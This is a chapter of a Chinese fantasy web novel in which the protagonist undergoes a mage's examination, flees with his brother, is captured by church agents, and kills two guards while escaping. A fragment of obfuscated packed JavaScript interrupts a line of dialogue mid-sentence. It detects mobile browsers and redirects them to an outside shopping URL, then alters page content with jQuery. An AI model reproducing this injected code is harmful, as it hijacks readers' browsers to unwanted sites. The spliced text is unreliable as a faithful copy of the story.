13. 血之记忆·残片①(下)
作品:《这魔王当不了一点》 情况紧急,叶隐来不及客套,好在法师也是个不拘小节的人。
他“唔”了一声,右手从长袖中探出,捏了捏自己被面罩包裹的下巴,沉吟道:“我的确有一些想法,但以理论和猜想居多,在给你做完详细检查前,还不能就这么下定论。”
叶隐不明所以,“检查……都要做些什么?”
法师掰着手指数道:“需要你的血样、尿样、细胞切片、魔力结晶,最好能再做一□□能之类的基础测试,另外就是魔法测验,帝国有一套专门的流程和标准,供法师测试自己的等级,当然,需要一个专门的场地,如果要考证的话还需要专业的测试人员进行辅助……”
“……?”
看到叶隐满脸迷茫的样子,法师轻声一笑,接着道:“听着多,其实只要半天就可以完成,对你也不会有什么伤害。场地这里就有,不必出城,而且,只有我们两个人,不需要多余的人参与,不会有第三个人知道你的检查结果。”
“……知道了,我可以配合检查。”叶隐说道,“但我必须在得到检查结果后,再做最后的决定。”
法师爽快答应:“没问题。”
——不要答应啊!不能答应他!!
身为旁观者的叶隐此时简直百爪挠心,流浪儿希恩不懂所谓的“检查”,他一个大学生还不懂吗?虽然希恩的确很需要那份检查结果,可一旦结果出来,参与实验的决定权就不在他自己手上了!若真的发现了希恩是魔王的真相,这个法师怎么可能会放希恩离开?
然而这终究只是个梦境,甚至只是一片记忆,无论叶隐的意志多么强烈,都干涉不了既定的轨迹。他只有眼睁睁看着“自己”跟随着年轻的法师,一步步走向密室深处……
……
“……你的体质和普通人有很大区别,这一点是可以确定的。”
法师脱下了那身斗篷,但换上了一件同样能遮住上半张脸的连帽白大褂,此时他正拿着一张颇为昂贵的黄纸写写画画,边写边对旁边休息着的叶隐道:“不过,很可惜,你的异常体质的根源仍然无法确定,也许是这里的设备还不够先进,也许是我们的调查方向从一开始就错了。”他摩挲着下巴,喃喃道:“还有什么被我忽略的东西吗……?”
检查全程,叶隐都清醒着,法师应该没有机会做假或者隐瞒,加上对方话语中的受挫之意、一些无意识的肢体动作分外明显,应该不会是装的,也就是说,他的确没能搞清楚真相——希恩不禁有些失落,同时又悄悄松了口气。
他在法师面前总有些难以招架,尽管对方的年纪和他的差距不会太大,但对方在基本素养上的全面碾压让他压力很大。他理应会憧憬法师这样年轻有为的学者,可在对方对自己明显有所求、且完全有实力强迫他,而他却不知道对方所求何物的情况下,他实在难以自如应对。二者根本不在一个高度的台阶上,如何能够彼此平视?
手上既没有筹码,也不知道相处的方法,他对身处另一个世界的法师实在是束手无策,还不如与街头混混打交道来得轻松,如果可以,他还是想尽量避免与对方深入交往,好在,现在有了理由,他就可以堂而皇之地拒绝对方了。
“既然检查结果没有达到预期,我想,我还是不留下来,继续浪费大人您的时间了。”叶隐对法师说道,“至于检查结果本身,如果可以的话,希望您能毁掉,不要泄露给任何人,尤其是教会。”
法师面上似乎流露出一丝遗憾,但仍是用平静的口吻道:“当然,我会尊重你的意愿。”
……真的答应了?就这么放他走?
叶隐在惊讶中略感困惑,这个人做事是不是太过干脆利落了?虽然说考虑到这个世界的法师好像和原世界的科学家差距不大这一点,他倒是很能理解,不过还是禁不住有些疑神疑鬼。
法师移开眼神,自顾自地收拾起实验设备,头也不抬地道:“既然拒绝参与我的实验,图书馆的密室将不再对你开放……你要学魔法的话,我建议你去帝都,看在你的配合与天赋的份上,我可以给你写一封推荐信,让你免费去帝都的魔法学院就读,只要能学到顺利毕业的程度,奖学金就足够你和弟弟在帝都生活。”
“……”
叶隐对这位法师的身份真是愈发好奇了,年纪轻轻就能给帝都的学院写推荐信,他该是个怎样的天才啊?和自己简直是云泥之别!
不过,一码归一码,这封推荐信固然很有诱惑力,却不是现在的叶隐最急切需要的东西。毕竟,此地远离帝国的统治核心,即使拿着推荐信的他在帝都能够高枕无忧,可在前往帝都的漫长之路上,却不知道会发生些什么。他是很缺钱没错,可钱不能解决所有问题,哪怕只是一介流浪汉的问题。
那些对他虎视眈眈的人不会轻易放弃,法师也决计不会为了他选择与教会为敌。当下最重要的事,依然是保护弟弟与自己的安全,并且,一定要在教会决定出手之前,挖掘出自己会被他们盯上的真相,唯有这样,才能在未知的暗流中抓住航行的方向,掌握主动权。
“我知道你在想什么。”法师忽然出声,把叶隐吓了一跳,“……放心,不是读心术,只是一些待人接物的经验罢了。”
说着,他拿起一张空白的纸条,在上面唰唰写了几个字,随即转过身来,将纸条递给叶隐。
叶隐接过,定睛一看,上面是一串数字,如果他没理解错的话,这应该是……坐标?他只在书上见过。
数字旁边还有一副简笔图像,寥寥几笔就勾勒出了一栋立于悬崖边缘、花海之中的小屋,看来这位法师的绘画功底也十分了得。
不过,这到底是……?
法师接道:“以我现在的能力,暂时无法解开你的力量之谜,而我都不行的话,帝都那些废物更是没有半分可能……”
有一瞬间,他语气中的讽刺多得都要满溢而出了,但很快就像错觉一样消失得无影无踪。他很快笑了笑,接着道:“总之,如果你迫切想要知道真相,可以试着去这个地方。那是一位极富盛名的大法师的家,如果说世上有人一定能给你答案,那个人就是他了。”
他顿了顿,颇有深意道:“那位法师早已退隐,知道他住址的人极少,我恰好是其中之一,这可是当今皇帝都没有的情报……好好珍惜。”
——真真是山穷水复疑无路,柳暗花明又一村。
叶隐紧抓着纸条,将上面的一笔一画都牢牢记入心中,随后直接在掌心升起一缕火焰,将纸条烧成了灰烬,珍而又重地对法师行了一礼,“不胜感激!”
法师微微摇头,似笑非笑道:“别急着谢我,实际上我也不能确定他是否还在那里,何况,即使他还在,也只有通过他考验的人才能真正接近那栋屋子,不然他的门槛早就被踏破了。即是说,能不能得到他的指点,还要看你自己的造化。”
叶隐不语,只是点了点头,这是他自己的事,他自会全力而为,多说无益。
“你走吧,我就不送了。”法师挥了挥手,“路上小心。”
“……”
“路上小心”四个字,直接拉满了叶隐的警惕心,他知道法师的一切行为都是有意义的,这话绝不只是客气而已,再说他跟自己一个流浪汉客气什么……说不定他已经得到了某些情报,所以才会不早也不晚,偏偏选在这个时机与自己接触!
叶隐瞥了法师一眼,看到对方面罩下的嘴角轻微上挑,便知道自己的猜想多半不错——这家伙就是故意的!
如果自己答应了与他合作,就等于接受了他的庇护,任凭教会有通天之能,也别想把一个人从一位法师的密室里捞出来,只是,自己选择了拒绝……表面上看没什么代价,可实际上,这早就在法师的意料之中,而他自己,早已被算得死死的了。
“别那样看我嘛,希恩先生。”法师面带微笑地摊了摊手,“至少我给你的坐标是真的哦?……努力去抓住吧,这根救命稻草。”
啧!
可惜,没有功夫再计较这些了……如果他能活下去,之后还有的是算账的机会,但现在,他和希冯必须立刻出发!
叶隐咽下怒意,匆匆归还了密室的钥匙,也顾不得是否有人暗中窥探着自己的行踪,回家简单收拾了一番,随即直奔希冯所在的工地而去,在工友们诧异的眼神中,拉着他就要出城。
希冯虽然惊讶,但没有反抗,只是急切问道:“发生什么了,哥?你在图书馆那查出什么……”
叶隐厉声打断道:“先出城!等会儿再细聊。”
“……”难得被亲哥吼的希冯当即一缩脖子,神情迅速严肃起来,一言不发地跟上。
望着快步离开的两人,一脸莫名的工友们议论纷纷。人群中,有两个人对视一眼,其中一人悄然离开现场,前去报信。
……
入夜时分,两兄弟在郊外的一片废墟中安顿下来,交流起彼此的情报。
自听哥哥谈及那位年轻法师的存在起,希冯始终眉头紧皱,而在叶隐说出自己对其态度的猜想之后,他终于忍不住冷笑一声:“我就知道没一个外人靠得住!衣冠禽兽!”
叶隐轻叹一口气,“我们一无所有,拿不出别人感兴趣的筹码,又放不下对自由的执念,不外乎总被别人当枪使。”
希冯还想再骂几句,但他看出了哥哥的落寞,便没有多说什么,转而问道:“坐标什么的我是不懂,但那家伙给的情报真的能信任吗?不会让我们羊入虎口吧?”
叶隐摇了摇头,从兜里掏出一张折叠整齐的地图,将其摊开,指了指上面的某一处,道:“坐标指向的地点是这里,误差在一公里左右。理论上来说,那里位于深山中,属于无人区,是魔物、帝国、帝国外势力都控制不了的三不管地带,即使是教会,也无法将触手伸到那种地方。”
希冯看不懂地图,但他有基本的生活常识,“那里一定很冷吧,怎么可能会有花海呢?”
“谁知道呢,也许是魔法的作用吧。”
叶隐再度浏览一遍地图,随后小心将其收起,道:“不管那个法师有没有骗我,有一点是肯定的,那就是教会已经厌倦了温和的观察和试探,准备对我们进行下一步行动了。我们并没有什么选择的余地,既然无论如何都待不下去,还不如搏一搏。”
希冯笑了,“没关系,哥,我从来都是站在你这边的。”
“……嗯。”
叶隐应着声,却不敢扭头与弟弟对视。希冯如此信任他,他却没能察觉到法师拖延时间的陷阱,不然的话,也许他们是会有其他选择的。希冯不计较,可他自己不能当做无事发生。
他是哥哥,他的决定不仅关乎自己,还关乎弟弟的命运,他必须更加谨慎、更加聪明、更加强大才行……
避开了直视、自顾自反省着的叶隐,没有注意到希冯那仿佛比钉子还要牢固地钉在自己身上的眼神——当他回过神时,对方好似只是安静地垂着头,用树枝拨弄火堆里的烤番薯。
勉强吃了三分饱后,两人缩在干草堆里,彼此依偎着渐渐入睡。
缺乏真正斗争经验的二人都没有意识到,他们入睡的速度比平时要快上许多。
——当他们清醒过来时,已然被捆缚住手脚,扔进了单独的房间中。
唤醒他们的是四肢的扭痛,沁入骨髓的寒意,陌生且令人头皮发麻的气味,以及…孤独。
栅栏之外,一袭黑衣的男人坐在桌后,身旁立着两个同样一身黑的人。见叶隐苏醒过来,男人打了个哈欠,悠哉悠哉道:“年轻人,只能在这般情形下与你见面,真是不好意思,我也不想的,但我们考察多时,发现你始终不愿接受任何形式的约束,便只能出此下策了。”
叶隐挣了挣身后的绳子,意识到以自己的力量不可能摆脱束缚,他也没可能在众目睽睽之下释放魔法,唯有暂时打消心思。
叶隐挣扎着坐起身来,男人悠然中带着戏谑的眼神让他极为不适,他倔强地瞪视着对方,冷冷道:“我弟弟在哪里?”
男人闻言,转过头去,朝旁边的人使了个眼色,对方领命出门而去。叶隐心生一股不详的预感,下意识屏住呼吸,但门外久久都没有传来什么动静,只有一阵一阵的、隐隐约约的脆响。
过了会儿,方才出去的那人回来了,随着他进屋,似有一股若有若无的血腥味飘来。他朝男人弯下腰来,微微摇头,神色好似有些无奈。
“嗯……好吧,看来你弟弟和你一样,也不是什么易于之辈。”
男人吁了口气,面上摆出的微笑迅速冷淡下去,对叶隐道:“你只要知道他还活着就行了,但如果你一直不配合的话,接下来会发生什么,可不好说,时间不等人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112417|195463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊。”
“……!”
叶隐咬紧牙关,强忍着愤怒道:“如果你们只是想要我替你们效力,大可以正大光明地找上门来,无论接受还是拒绝,我都会给你们一个答复,可你们从来没有那么做!你们想要的到底是什么?!”
男人大笑两声,“可爱的小弟弟,教会这样的庞然大物可不需要指定个别人为它效力,即使你能活死人、肉白骨,那又怎样?……教会真正需要的,从来只是抹除一切可能动摇它根基的不安定因素罢了。”
抹除……叶隐心里一跳,愈发对现状感到苦涩和无力,“动摇教会的根基?我怎么可能做得到那种事!”
男人上下打量了番叶隐,道:“老实说,我也不觉得你能做到,所以说只是‘可能’的‘因素’而已……不然的话,也轮不到我这种人坐在你面前,你说是吧?”
“我一无所知。”叶隐摇头,“我三岁开始流浪,半辈子都没读过什么书,在刚刚觉醒魔法天赋的时候,我甚至都不知道世上有魔法这种东西,现在大抵也是如此,我根本不懂你们究竟在意我身上的什么。你要是打算审问我们,恐怕是找错人了。”
闻言,男人站起身来,双手插兜,拉开栅栏门慢慢靠近叶隐,蹲在他跟前,盯着他的眼睛沉吟道:“你的话,可信度很高,也的确符合我们的观察结果……”
叶隐仿佛看到了一丝希望,“那——”
“但是,很遗憾,结果并不由你自己说了算。”
男人说着,重新起身,俯视着叶隐冷笑,口中吐出的语句让后者如坠冰窟:“一个硬骨头,一个装傻充愣的硬骨头……呵呵,倒是省了我审讯的功夫。”他伸了个懒腰,“呼,总之,既然审不出来,就直接进行下一步吧。”
叶隐的神情和语气都僵住了,喃喃道:“下一步……什么?”
男人只是走出栅栏,并直直走向屋外,既没有解释要对叶隐做什么,也没有说明是什么时候。剩余两人中,其中一人与他同行出门,随后立在了门外,另一个人则守在屋内门口,防线可谓密不透风。
叶隐浑身僵硬,额角冒汗。连审讯的步骤都跳过,那比审讯还要更严重的处置手段是什么?如果单纯要杀了他们兄弟,又何须把他们迷晕、活捉回来?莫非只是为了证明他们是本人?可本来也不会有人愿意牺牲性命冒充他们。
这帮人到底想做什么……可恶!
入睡时吸入的迷药似乎还有残留,叶隐咬了咬舌尖,用疼痛刺激自己努力振作精神。他自己怎样都好,可要是他死了,希冯又该怎么办呢?这些人绝无可能对希冯网开一面,能救出他的人只有叶隐自己而已。
他必须活下去、逃出去,救出希冯,而且得尽快!如果他没猜错,刚才那个人出门去,大概就是为了……总之,不能拖得太久,不然希冯会有生命危险,加上那个随时会回来的男人……
思考得越多,叶隐越感到脑袋发涨、昏昏沉沉,他身体本来就弱,既没睡好,肚子也饿得很,完全没法集中精力思索计划。
这样下去不行……
叶隐试着直接将体内魔力转化为糖分,却在动用魔力的瞬间被一股极强的痛楚击中,震惊和恐惧让他险些直接失去意识。他强忍着疼痛,不让门口的守卫察觉到异常,迅速检查起自己的身体:他的魔力是正常的,身体也只有生理意义上的不适而已,那么罪魁祸首是——
叶隐终于察觉到,自己的脖颈上不知何时被戴了一只项圈,他只能凭触觉感知它的轮廓,但通过魔力的流转,他能感觉到项圈上刻印着特别的术式——这是一个专门用来妨碍他施法的魔法道具!
项圈的力量对他这个级别的法师来说已经足够强了,但只要克制住施法时的疼痛,似乎也不是不能强行施法……
叶隐静静思索着,忽然间,他如同发了狠般使劲以头抢地,发出“砰”的巨响!囚室的石头地板上当即溅起血花,他的身体旋即歪倒下去,一动不动。
“!”
门口的守卫吓了一大跳,还以为叶隐要自杀,他愣了两秒,赶紧拿出钥匙打开锁,快步走了进来,试探性地推了推叶隐的肩膀,叫道:“喂……喂!醒醒!”
见叶隐满脸是血,似乎陷入了昏迷,守卫傻住了,这人什么时候死都可以,唯独不能在屋里只有他的时候死啊!这他妈该怎么和大人交代?!
他暴躁地骂了两句,回头锤开囚室的大门,对着屋外的同伴没好气道:“他要自杀!你看我们要不要给他包扎一下——”
话音未落,地上的叶隐已经抬起头来。趁着屋内守卫的身影将另一人的视线完全挡住,一根魔力凝聚成的长绳骤然捆住两个守卫的腰,将他们一把拉进囚室中。
“啪”的一声,大门被一阵风吹得紧闭,跌倒在地的二人终于意识到自己受到了袭击,但还没来得及起身反击,甚至没来得及发出警报,便先后被来自心脏的莫名剧痛击倒,躺在地上再起不能。
“嗬……啊……”
他们挥舞着手臂挣扎,四肢却渐渐变得无力,眼睁睁看着彼此的面色愈发铁青,却连半个字都吐不出来。直到最后一丝力量被抽走,两个人都双目圆睁的仰躺在地,满眼血丝、满脸不甘,手中的武器没有发挥丝毫作用。
“……”
叶隐挣开身上被烧了半截的绳子,站起身来,抹掉脸上的鲜血,平静地俯视着这两具他亲手制成的尸体,眼中有一瞬间闪过不忍。
他越过尸体,将大门拉开一条缝隙,小心地观察外头的情况——外面是一条没有窗户的走廊,只有些微烛光闪烁。
走廊上似乎没有别人,但更远处就不好说了,至少以他刚才听到的脆响来说,关押希冯的房间距离应该不会太远,而那边毫无疑问也有着守卫。
只能走一步看一步了……!
叶隐打定主意,鼓起勇气溜出囚室,准备向着先前声音传来的方向而去——
看着不知何时立在走廊尽头的、单手插兜的黑衣男人,他愣住了。
顺着男人平举的左手,他低头看向自己的身体——剧痛在他意识到那个拳头大的血洞的存在时,才堪堪传入脑中。
他看到男人的嘴一开一合,但他听不见对方在说什么。
视野一阵天旋地转,叶隐的意识逐渐隐没入黑暗之中,独留愤怒与悔恨在心中回荡。

